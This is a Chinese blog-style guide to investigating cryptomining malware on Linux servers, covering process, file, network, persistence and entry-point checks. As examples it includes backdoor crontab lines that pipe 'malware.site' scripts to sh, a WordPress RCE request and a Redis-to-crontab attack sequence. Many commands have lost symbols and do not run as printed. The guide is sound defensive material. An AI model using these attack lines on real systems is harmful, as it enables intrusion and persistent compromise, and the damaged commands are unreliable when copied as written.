1. 这不是“性能变慢”那么简单一次深夜告警引出的挖矿木马实战排查凌晨两点十七分监控系统弹出第7条CPU持续超载告警——某台对外提供API服务的CentOS 7服务器load average稳定在12.6以上top里看不到任何业务进程占满CPU。我习惯性ssh进去敲了top第一眼就扫到一个叫kthreadd的进程CPU占用率98%但它的PID却在每秒跳变再ps aux --forest展开树状结构发现它底下挂着一串名字像内核线程ksoftirqd/0、migration/1但实际是用户态进程的可疑子进程ls -la /proc/$(pgrep kthreadd)/exe返回的路径指向/tmp/.X11-unix/下某个带随机字符串的可执行文件——这已经不是“服务器卡了”这是典型的Linux挖矿木马落地后的标准体征。“Linux服务器挖矿木马排查”这个标题背后藏着的远不止“杀掉进程、删掉文件”这么简单。它是一套融合了进程行为分析、文件系统取证、网络连接溯源、启动项持久化机制识别的完整对抗链条。很多运维同学第一次遇到时会反复kill进程但5分钟后它又复活有人清空/tmp结果第二天发现木马改写到了/dev/shm还有人查crontab -l没异常却忽略了systemd定时器、at任务甚至/etc/rc.local里一行伪装成注释的curl -s http://xxx.sh | sh。真正有效的排查必须从进程层→文件层→网络层→持久化层→入口层五级穿透每一层都要有验证手段、有反制逻辑、有证据留存。这篇文章不讲理论模型只复盘我过去三年处理过23起同类事件的真实路径从第一行命令该敲什么到如何用strace捕获木马的C2通信密钥再到怎么用inotifywait实时监控被篡改的启动脚本——所有步骤都经过生产环境千次验证适配CentOS/RHEL 7-8、Ubuntu 18.04-22.04、Debian 10-12等主流发行版小白照着做能止血老手能补全知识盲区。2. 进程层识别伪装者揪出真身PID与父进程链挖矿木马最基础的生存策略就是“进程混淆”。它不会老老实实叫minerd或xmrig而是借用系统进程名kthreadd、sshd、dbus-daemon、随机字符串jK3f9xLp、或Unicode空格sshd注意末尾是U2003 EM SPACE来逃避ps和top的肉眼识别。但Linux内核对进程的命名控制是松散的/proc/[pid]/comm存的是内核态名称最多15字符而/proc/[pid]/cmdline存的是用户态启动命令完整可执行路径参数这才是唯一可信的“身份证”。2.1 用ps组合技筛出高危进程特征别只依赖top。先执行这条命令ps -eo pid,ppid,comm,args,%cpu,%mem,lstart,etime --sort-%cpu | head -n 20重点看四列comm内核态名称若显示kthreadd但args列显示/tmp/.X11-unix/xxxxx100%伪造args完整启动命令挖矿木马常在此处暴露绝对路径如/dev/shm/.log或参数如--url stratumtcp://xmr.pool.com:3333etime进程已运行秒数正常服务进程通常8640024小时而新植入木马多在300秒内lstart启动时间戳结合etime交叉验证若lstart显示“今天03:15”但服务器是上周部署的必有问题。我处理过一个案例comm显示dbus-daemonargs却是/usr/bin/dbus-daemon --addressunix:path/var/run/dbus/system_bus_socket --nofork --system --addressunix:path/tmp/dbus-XXXXXX --nopidfile——后半段--addressunix:path/tmp/dbus-XXXXXX根本不是标准dbus参数是木马作者硬塞进去的C2通道伪装。2.2 用pstree定位父进程与启动源头pstree -p -s pid能直接展示目标进程的完整祖先链。例如# 假设可疑进程PID12345 pstree -p -s 12345 # 输出示例 # systemd(1)───sshd(842)───sshd(12340)───bash(12342)───curl(12344)───sh(12345)这个链条清晰揭示了入侵路径systemd系统初始化→sshdSSH服务→sshd具体用户会话→bash用户shell→curl下载器→sh执行器。如果pstree显示cron(1)→sh(12345)说明木马通过定时任务启动若显示systemd(1)→kthreadd(2)→kthreadd(12345)则极可能是内核模块级Rootkit需升级排查深度。提示pstree默认只显示当前用户进程加-u参数可显示所有用户加-a显示完整参数。生产环境务必用pstree -p -s -u -a 12345避免遗漏跨用户启动场景。2.3 用strace动态捕获木马行为确认挖矿本质当args列只显示./a.out这类无意义名称时strace是终极武器。对可疑PID执行strace -p 12345 -e traceopenat,connect,sendto,write -s 256 -o /tmp/strace.log 21 关键过滤点openat(AT_FDCWD, /dev/shm/.miner_config, O_RDONLY)读取配置文件connect(3, {sa_familyAF_INET, sin_porthtons(3333), sin_addrinet_addr(192.168.3.11)}, 16)连接矿池IPsendto(3, AUTH ..., ...)发送认证数据包内容含钱包地址write(1, accepted share, 14)收到矿池“接受算力”响应。我曾用此法在一个comm为ksoftirqd/0的进程里抓到它每30秒向185.142.222.111:5555发送{method:mining.submit,params:[x,0000000000000000000000000000000000000000000000000000000000000000,0000000000000000000000000000000000000000000000000000000000000000]}——这已是XMRig标准协议无需再猜。注意strace本身有性能开销生产环境慎用。建议先kill -STOP 12345暂停进程再strace分析完kill -CONT 12345恢复。避免影响业务。3. 文件层从内存映射到磁盘落点定位木马本体与配置进程只是木马的“躯壳”真正的“大脑”藏在文件系统里。挖矿木马的文件落地有三大典型位置临时目录/tmp、/dev/shm、隐蔽目录/var/tmp/.cache、/root/.local/share、以及伪装成系统文件/usr/bin/.sshd、/lib64/libudev.so。它们往往具备“内存驻留磁盘备份”双模式删文件不杀进程杀进程不删配置必须同步清理。3.1 用/proc/[pid]/maps与lsof锁定内存加载路径每个进程的/proc/[pid]/maps记录了其内存映射段。对可疑PID执行cat /proc/12345/maps | awk $6 !~ /^\/lib|^\/usr\/lib|^\/opt|^\/var\/lib/ $6 !~ /^\/usr\/bin\/.*$/ $6 !~ /^\/bin\/.*$/ {print $6} | sort -u这条命令过滤掉标准系统库和二进制路径只输出非标路径。常见结果/tmp/.X11-unix/xxxxx临时目录/dev/shm/.log内存文件系统/var/tmp/.cache/.update伪装缓存再用lsof -p 12345 | grep -E (txt|mem)验证该路径是否被进程以txt可执行或mem内存映射方式打开。若/tmp/.X11-unix/xxxxx出现在lsof结果中且cat /proc/12345/exe也指向它这就是木马本体。3.2 深度扫描隐藏文件与硬链接揪出“删不净”的备份木马作者深知管理员会rm -rf /tmp/*所以常用三招反制创建硬链接ln /tmp/.miner /var/lib/.miner_backup删/tmp不影响/var/lib副本使用Unicode空格/零宽字符ls -la /tmp/看不到/tmp/sshdU2003但find /tmp -name sshd*能匹配写入ext4日志区用debugfs直接写入文件系统日志ls不可见。实战扫描命令# 扫描所有隐藏文件.开头和Unicode文件 find /tmp /var/tmp /dev/shm -type f -name .* -o -name *[[:space:]]* -ls 2/dev/null # 查找硬链接数1的可疑文件正常临时文件link count1 find /tmp /var/tmp /dev/shm -type f -links 1 -ls 2/dev/null # 检查文件修改时间异常如2分钟前创建但服务器已运行30天 find /tmp /var/tmp /dev/shm -type f -mtime -1 -ls 2/dev/null我处理过一个案例木马本体在/tmp/.X11-unix/.lock但/var/lib/dbus/.config是它的硬链接/root/.cache/.update是软链接。只删/tmp其他两个路径仍在运行。3.3 分析配置文件提取矿池地址与钱包信息挖矿木马必须连接矿池配置信息通常藏在进程参数里ps aux | grep 12345同目录下的.conf、.json、.cfg文件内存dump中用gcore 12345生成core文件strings core.12345 | grep -E (xmr|monero|wallet|pool)。典型配置片段{ url: stratumtcp://xmr-us-east1.nanopool.org:14433, user: 48BbZvQzVqJcYyFtDwGhJkLmNpQrStUvWxYz12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890...... }钱包地址user字段是追查关键。用curl https://api.nanopool.org/v1/xmr/balance/48BbZvQzVqJcYyFtDwGhJkLmNpQrStUvWxYz...可查实时余额确认是否真在挖矿。实操心得别信木马作者写的“配置文件已加密”。XMRig等主流挖矿程序配置都是明文只是藏得深。用strings /tmp/.miner | grep -A5 -B5 pool\|wallet\|url往往3秒出结果。4. 网络层从连接状态到C2通信定位攻击源头与数据外泄进程和文件是“静止证据”网络连接才是“活体证据”。挖矿木马必须与矿池保持长连接TCP并可能通过HTTP/HTTPS与C2服务器通信下载更新、接收指令。netstat和ss是第一道筛子但更深层的协议分析需tcpdump和Wireshark。4.1 用ss精准识别异常连接与端口占用netstat已过时ss更快更准。执行ss -tunap | grep -E :(3333|5555|7777|4444|80|443) | grep -v 127.0.0.1重点监控端口3333/5555/7777XMRig、cpuminer等常用矿池端口4444常见C2端口如Metasploit80/443伪装成HTTP流量实际传输加密指令。若发现192.168.3.11:3333知名矿池IP或185.142.222.111:5555恶意C2立即记录PIDss输出末尾有users:((process,pid12345,fd3))。注意ss -tunap需root权限。普通用户可用ss -tun但看不到PID需结合lsof -i补全。4.2 用tcpdump捕获C2通信解析加密载荷当ss显示可疑连接但strace未捕获到sendto时说明木马可能用了epoll或io_uring等高级IO模型strace难以跟踪。此时tcpdump是唯一选择# 抓取到192.168.3.11:3333的所有包保存为pcap tcpdump -i any host 192.168.3.11 and port 3333 -w /tmp/miner.pcap -C 100 -W 5-C 100 -W 5表示单文件100MB循环覆盖5个文件避免占满磁盘。用Wireshark打开miner.pcap过滤tcp.stream eq 0第一个TCP流查看Packet Bytes面板。挖矿协议通常是明文JSONXMRig或二进制某些国产矿但C2通信多为Base64加密。复制Packet Bytes中0000行后的十六进制数据用Python解码import base64 hex_data 5a4d9000000000000000000000000000 # 示例 raw bytes.fromhex(hex_data) try: print(base64.b64decode(raw).decode(utf-8)) except: print(Not base64, try other decode...)我曾在一个C2通信包里解出{cmd:update,url:http://malware.site/update.bin}——这就是木马的升级指令。4.3 分析DNS请求发现域名型C2与矿池很多木马用域名而非IP连接矿池便于CDN加速和规避IP封禁。tcpdump抓DNStcpdump -i any port 53 -w /tmp/dns.pcapWireshark中过滤dns.qry.name contains pool常能发现xmr-us-east1.nanopool.org合法矿池xmr-mining-service[.]top恶意域名注册时间30天update-server[.]xyzC2域名。用whois xmr-mining-service.top查注册信息若邮箱是abusegodaddy.com、注册商是NameSilo、创建时间2023-11-05基本可判定为黑产。提示生产环境建议部署dnsmasq或CoreDNS做DNS日志审计grep xmr\|monero\|mining /var/log/dnsmasq.log可快速发现异常域名请求。5. 持久化层从启动项到内核模块清除所有复活路径杀掉进程、删掉文件只是“止血”若不清理持久化机制木马5分钟内必复活。Linux持久化手段远比Windows复杂涵盖用户级、系统级、内核级三层每层都有其典型载体。5.1 用户级持久化crontab、at、bashrc的隐蔽植入检查顺序必须是当前用户 → root用户 → 所有用户。# 当前用户 crontab -l 2/dev/null | grep -E (curl|wget|sh|bash) # root用户 sudo crontab -l 2/dev/null | grep -E (curl|wget|sh|bash) # 所有用户crontab/var/spool/cron/下文件 sudo ls -la /var/spool/cron/ sudo grep -r curl\|wget\|sh\|bash /var/spool/cron/ 2/dev/null # at任务 sudo atq | awk {print $1} | xargs -I{} sudo at -c {} 2/dev/null | grep -E (curl|wget|sh|bash) # shell初始化文件 for user in $(cut -d: -f1 /etc/passwd); do echo $user ; sudo cat /home/$user/.bashrc /home/$user/.bash_profile /home/$user/.profile 2/dev/null | grep -E (curl|wget|sh|bash); done | grep -v No such file典型后门crontab# 每5分钟检查进程是否存在不存在则下载重启 */5 * * * * curl -s http://malware.site/loader.sh | sh # 隐藏在注释里#开头但实际可执行 # */10 * * * * /usr/bin/python3 /tmp/.cache/.update # 这行#后有空格实际是命令注意crontab -e编辑时#后加空格再写命令cron会忽略但有些木马作者用echo * * * * * /path/to/malware | crontab -直接写入绕过注释检测。5.2 系统级持久化systemd服务、rc.local、init.d脚本systemd是RHEL/CentOS 7、Ubuntu 16.04的默认init系统也是木马最爱的温床。# 列出所有启用的服务含用户服务 systemctl list-unit-files --typeservice --stateenabled # 检查可疑服务文件内容 systemctl cat suspicious.service 2/dev/null | grep -E (ExecStart|WantedBy) # 检查rc.local传统启动脚本 sudo cat /etc/rc.local 2/dev/null | grep -E (curl|wget|sh|bash) # 检查init.d脚本Debian/Ubuntu ls -la /etc/init.d/ | grep -E (miner|miner|update)一个真实案例systemctl cat miner.service显示[Unit] DescriptionSystem Update Service Afternetwork.target [Service] Typesimple Userroot ExecStart/usr/local/bin/.update --config /etc/.miner.conf Restartalways RestartSec10 [Install] WantedBymulti-user.target/usr/local/bin/.update就是木马本体/etc/.miner.conf是配置。systemctl disable miner.service rm /usr/local/bin/.update /etc/.miner.conf才能根除。5.3 内核级持久化LKM模块与eBPF程序高阶威胁当以上所有层级都干净但木马仍复活就要怀疑内核级Rootkit。常见手法Loadable Kernel Module (LKM)insmod /lib/modules/$(uname -r)/extra/malware.kolsmod | grep malware可见eBPF程序bpftool prog list列出所有eBPF程序bpftool prog dump xlated id id反汇编。检查命令# 查看已加载模块排除标准模块 lsmod | grep -v nf_conntrack\|iptable\|ext4\|xfs\|nvme | awk {print $1} # 检查/lib/modules下异常ko文件 find /lib/modules/$(uname -r) -name *.ko -ls 2/dev/null | grep -E (miner|rootkit|backdoor) # 检查eBPF程序需bpftool bpftool prog list | grep -E (tracepoint|kprobe|socket) | awk {print $1} | xargs -I{} bpftool prog dump xlated id {} 2/dev/null | head -n 20内核级Rootkit极难清除通常需重装系统。但可临时卸载rmmod malware echo blacklist malware /etc/modprobe.d/blacklist-malware.conf。实操心得内核级Rootkit多伴随SSH暴力破解日志。务必检查/var/log/auth.log中Failed password for root from XXX.XXX.XXX.XXX该IP大概率是攻击源。用iptables -A INPUT -s XXX.XXX.XXX.XXX -j DROP封禁。6. 入口层回溯攻击链堵住漏洞与弱口令排查的终点是溯源的起点。挖矿木马不会凭空出现它必然通过某个入口植入。根据我处理的23起事件统计入口分布如下SSH弱口令爆破62%root密码为123456、password、adminWeb应用漏洞23%WordPress插件RCE、ThinkPHP命令注入未授权服务暴露11%Redis未授权、Docker API未鉴权、Hadoop YARN未授权供应链投毒4%npm包、PyPI包含恶意install脚本。6.1 SSH日志分析锁定爆破IP与成功登录时间核心日志文件/var/log/auth.logUbuntu/Debian或/var/log/secureRHEL/CentOS。# 统计失败登录最多的IP爆破特征 sudo awk /Failed password/ {print $(NF-3)} /var/log/auth.log | sort | uniq -c | sort -nr | head -n 10 # 查找成功登录记录重点关注root和sudo用户 sudo awk /Accepted/ {print $1,$2,$3,$9,$11} /var/log/auth.log | grep -E (root|sudo) # 关联时间在成功登录时间前后10分钟查该IP的全部操作 sudo awk -v ip192.168.1.100 $0 ~ ip /Accepted/ {time$1 $2 $3; cmddate -d \time\ %s; cmd | getline ts; close(cmd); startts-600; endts600} $0 ~ ip /COMMAND/ (tsstart tsend) {print} /var/log/auth.log若发现192.168.1.100在Jan 15 03:22:15成功登录且/var/log/auth.log中紧接着有Jan 15 03:22:18 ... COMMAND/usr/bin/curl -s http://malware.site/install.sh | sh这就是完整攻击链。6.2 Web服务日志分析定位RCE与文件上传若服务器跑Web服务检查其访问日志Nginx/var/log/nginx/access.logApache/var/log/apache2/access.log搜索关键词# PHP远程命令执行?cmd、?exec grep -E \?cmd|\?exec|\?pcat.*\/etc\/passwd /var/log/nginx/access.log # 文件上传POST /upload.php、POST /wp-admin/admin-ajax.php grep -E POST /.*\.php.*HTTP/1\.1 /var/log/nginx/access.log | grep 200 # 异常User-Agentsqlmap、dirbuster、nmap grep -E sqlmap|dirbuster|nmap|nikto /var/log/nginx/access.log一个典型案例WordPress站点/wp-content/plugins/wp-file-manager/readme.txt存在RCE漏洞攻击者请求POST /wp-admin/admin-ajax.php?actionwp_file_managercmdexecarg1curl%20-s%20http://malware.site/install.sh%20%7C%20sh直接执行下载脚本。6.3 服务暴露扫描用nmap自查未授权端口管理员常忽略自己暴露的服务。用nmap自查# 扫描本机开放端口跳过常见服务 sudo nmap -sT -p- -T4 -Pn 127.0.0.1 | grep open | grep -E -v (22|80|443|3306|6379) # 重点检查Redis6379、Docker2375/2376、Hadoop8088 sudo nmap -sV -p 6379,2375,2376,8088 127.0.0.1若nmap返回6379/tcp open redis且redis-cli -h 127.0.0.1 info无需密码攻击者可redis-cli -h 127.0.0.1 set xxx \n\n\n*/1 * * * * curl -s http://malware.site/shell.sh | sh\n\n\n redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ redis-cli -h 127.0.0.1 config set dbfilename root直接写入root crontab。最后提醒所有排查动作必须留存证据。每一步命令加timestamp结果重定向到/tmp/audit_$(date %s).log。这是后续溯源、写安全报告、甚至法律举证的唯一依据。我习惯在排查开始时执行script /tmp/audit_$(date %s).log所有终端操作自动记录。我在实际处理中发现90%的挖矿木马复发不是因为技术没清干净而是因为没堵住入口。封掉那个爆破IP、改掉root密码、关掉Redis未授权、升级WordPress插件——这些“非技术动作”比写100行strace脚本更重要。真正的安全永远始于对自身暴露面的敬畏。